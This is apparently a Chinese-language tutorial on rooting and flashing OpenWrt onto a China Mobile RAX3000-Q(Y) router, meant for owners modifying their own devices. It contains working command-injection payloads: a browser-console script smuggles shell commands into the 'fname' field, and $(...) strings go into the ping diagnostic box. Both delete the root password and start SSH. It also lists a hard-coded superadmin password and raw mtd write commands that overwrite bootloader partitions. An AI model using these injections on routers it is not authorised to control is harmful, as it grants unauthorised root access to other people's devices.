移动 RAX3000-Q(Y) 路由器刷机教程
English Version
本教程参考 skyblog 、恩山 imlk ,OpenWrt 固件基于 QSDK 项目编译并由 NWrt 团队提供,本仓库仅提供个人备份用途,有其他特殊需求请联系 NWrt。
请注意:开始本教程之前请务必自行备份机器原本固件,刷机过程中造成的一切后果自行承担。
一、取得权限
注意! 本文介绍的获取权限方法可能会随着系统更新失效,如果发现无法取得权限,请查看本仓库 issue、docs 和 其他教程 或自行搜索其他方法,有其他问题也欢迎开 issue。
有两种取得权限的方式,分别是 ssh 和 telnet(同时也有拆机后通过调试串口刷机的方式,但本教程不涉及,可自行搜索):
1. 取得 SSH(二选一)
-
方法一(新方法):
-
首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
-
登录后在浏览器控制台执行以下脚本(将 sessionId 替换为你自己的值,可在浏览器开发者工具的请求参数或 Cookie 中找到):
{
const sessionId = "YOUR_SESSION_ID_HERE";
const commands = [
"passwd -d root",
"uci set dropbear.@dropbear[0].PasswordAuth='on'",
"uci set dropbear.@dropbear[0].RootPasswordAuth='on'",
"uci set dropbear.@dropbear[0].Port='22'",
"uci set dropbear.@dropbear[0].enable='1'",
"uci commit dropbear",
"/etc/init.d/dropbear enable",
"/etc/init.d/dropbear start"
];
const shellCmd = commands.map(cmd => cmd.replace(/ /g, "${IFS}")).join(";");
fetch("/itms", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cmd: 22,
fname: "websys.log |" + shellCmd,
method: "get",
sessionId: sessionId,
}),
})
.then((response) => response.json())
.then((data) => {
console.log("服务器返回:", data);
})
.catch((error) => {
console.error("请求失败:", error);
});
}
-
脚本中会将命令里的空格替换为 ${IFS},这是为了适配该接口的命令解析方式
-
执行完成后,使用 ssh 连接路由器:ssh [email protected](root 默认无密码)
-
联网后系统可能会自动打补丁封禁 22 端口,重置系统即可恢复
-
参考讨论: https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=8445553&extra=&page=1
-
方法二(原方法):
-
首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
-
进入「更多 --> 诊断 --> ping」页面
-
在”URL或者IP地址”的输入框中输入:$(dropbear${IFS}-p${IFS}22) 来启动 dropbear
-
再通过 $(passwd${IFS}-d${IFS}root) 来删除 root 的密码
-
使用 ssh 命令来连接路由器:ssh [email protected] 后将会直接进入而不会询问密码
同型号提示“无效地址”的处理方法
-
⚠️ 该脚本属于利用漏洞的临时提权手段,请仅在自有设备上使用,勿用于共享或公共网络设备,并确认执行后会清空 root 密码;连接成功后建议立即执行 passwd root 设置新密码。
-
打开 Chrome 调试窗口,切换到「网络(Network)」
-
刷新页面后,找到 items 相关的 POST 请求
-
在「负载(Payload)」中找到 sessionId 并记录
-
切换到「控制台(Console)」,输入以下脚本(注意替换示例地址 cmcc.wifi 为实际路由器地址,需同步替换 url 与下方 SSH 命令中的主机名):
var url = "http://cmcc.wifi/itms";
var params = {
cmd: 22,
fname: "websys.log|passwd -d root",
method: "get",
sessionId: "YOUR_SESSION_ID_HERE"
};
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = function (e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
console.log(xhr.responseText);
} else {
console.error(xhr.statusText);
}
}
};
xhr.onerror = function (e) {console.error(xhr.statusText);};
xhr.send(JSON.stringify(params));
-
控制台返回空字符串 "" 后,即可通过 SSH 连接:
ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]
2. 取得 Telnet(二选一)
- 首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
- 进入「更多 --> 诊断 --> ping」页面
- 通过
$(passwd${IFS}-d${IFS}root) 来删除 root 的密码
- 重新在浏览器后台页面输入用户名和密码为:
superadmin:83583000 后进入后台
- 在「管理 - 系统设置」页面可开启 telnet
- 注意telnet端口号为
4719,应使用 telnet 192.168.10.1 4719 登陆,用户名为 root,密码无
二、刷入 Uboot
-
电脑端打开 WinSCP 软件
-
新建站点——文件协议选择scp——主机名就是路由器ip——输入用户名 root 和密码登录
-
把 uboot 文件夹内的 nwrt_rax3000qy_uboot.mbn 与 nwrt_rax3000qy_mibib.bin 放到路由器 /tmp 文件夹下
-
进入路由器终端 输入如下两个命令:
mtd write /tmp/nwrt_rax3000qy_uboot.mbn /dev/mtd11
mtd write /tmp/nwrt_rax3000qy_mibib.bin /dev/mtd1
-
此时 uboot 已经刷入完毕,可以断开电源。
三、刷入 OpenWrt
- 电脑进入控制面板内的网络接口设置网口为静态 ip
192.168.1.2 子网掩码 255.255.255.0
- 在路由器按住
reset,插上电源 10 秒后松开 reset,浏览器输入 192.168.1.1 进入 Uboot
- 选择
openwrt-fw 内的任意一个刷机包刷入即可
- 2023-12 的版本带
passwall ,但有概率无法启动的问题(不稳定)
- 2023-11 的版本不带
passwall ,可自行通过软件源安装(稳定)
- 其他版本请自行测试(理论上越新越稳定)
- 刷入完毕后机器将会重启,耐心等待一会即可进入系统,用户名为
root ,密码为 password

评论